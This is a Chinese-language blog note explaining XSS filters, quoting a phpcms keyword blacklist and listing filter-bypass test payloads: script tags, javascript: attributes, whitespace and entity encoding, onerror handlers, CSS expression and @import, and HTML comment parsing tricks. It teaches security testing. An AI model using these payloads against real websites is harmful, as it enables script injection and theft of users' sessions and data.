xss构造剖析
1.XSS-filter
为了防御跨站脚本攻击。开发人员会在web应用中设计一个XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击,恶意的HTML或简单的HTML格式错误等
它实际上是一段精心编写的过滤函数,下列是phpcms中的过滤代码文件global.func.php中的一段代码
1 | $parm1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); |
这段代码的作用是过滤XSS跨站代码,程序在处理输入变量时使用该函数,就可过滤常见的跨站脚本。
但它依旧存在被绕过的可能,下列从攻的角度展示一些绕过XSS Filter的测试用例。
(1)利用<>标记注射Html/Javascript
如<script>alert;</script>或<script>shellcode</script>
因此,XSS Filter最先要进行过滤和转义的就是“<>”和<script>
等字符。
(2)利用HTML标签属性值执行XSS。
如下代码:
1 | <table background="javescript:alert(/XSS/)"></table> |
在IE6浏览器中运行上述代码会弹出对话框,即攻击成功,但它具有一定的局限性,即只能在支持javascript:[code]伪协议的浏览器运行。
通常只有引用文件的属性才能触发跨站脚本,我们可以使用以下属性来测试XSS
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
所以,要防御基于属性值的XSS,就要过滤javascript等关键字,另外还有其他允许值如Vbscript
(3)空格回车Tab
XSS Filter把敏感的输入字符列入黑名单处理,可以利用空格、回车和Tab键绕过 例:
<img src=”javas
script:
alert(/xss/)”>
(4)对标签属性值转码
对普通HTML标记的属性值过滤,还可以通过编码处理来绕过。
Tab符的ASCII码	、换行符
、回车符
可以插入任意地方
为了防范标签纸属性编码的XSS,最好也过滤&#/等字符
(5)产生自己的事件
不能依靠属性值跨站,通过事件,如click、mouseover、load等,响应事件的函数叫事件处理函数例:
1 | <img src="#" onerror=alert(/xss/)> |
onerror是IMG标记的一个事件,页面发生错误,该事件被激活。上例,解释IMG标记时,加载src属性引用的图片地址,若图片不存在就触发onerror事件。其他事件:onResume
onReverse
onRowDelete
onRowInseted
等
(6)利用CSS跨站
CSS中使用expression同样可以触发XSS。例:
脚本代码通常被嵌入到style标签/属性中。style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤。
例:
1 | <div style="list-style-image:url(javascript:alert(‘xss’))"> |
此外,可以使用标签引用CSS,除标签外,网页中引用外部CSS还可以利用@import导入,例:
1 | <style type='test/css'/>import url(http://.../xss.css);</style> |
@import还可以直接执行JS代码
1 | <style> |
因此,包含expression、javascript、import等敏感字符的样式表也要进行过滤。
(7)扰乱过滤规则
转换大小写、大小写混淆、不用双引号用单引号、不使用引号。IMG标记和src属性之间没有空格
1 | <img/src="javascript:alert('xss');"> |
利用expression跨站时,可以构造不同的全角字符。
运用/**/来注释字符,样式标签中的\和结束符\0。
将CSS关键字转码,e转\65,改变编码中0的数量\065、\0065
利用浏览器解析HTML注释存在的问题来执行JS,例:
1 | <!--<img src="--><img src=x onerror=alert(1)//"> |
纯文本标签造成的混乱标记,例:
1 | <style><img src="</style><img src=x onerror=alert(1)//"> |
利用字符编码
字符编码在跨站脚本中经常用到,透过这种技巧,不仅能让XSS绕过服务端的过滤,还能更好的隐藏shellcode
具体内容推荐博客
https://blog.csdn.net/Fly_hps/article/details/82944455
Author: banbird
Permalink: http://www.blacknight.top/2019/11/01/note2/
License: Copyright (c) 2022 CC-BY-NC-4.0 LICENSE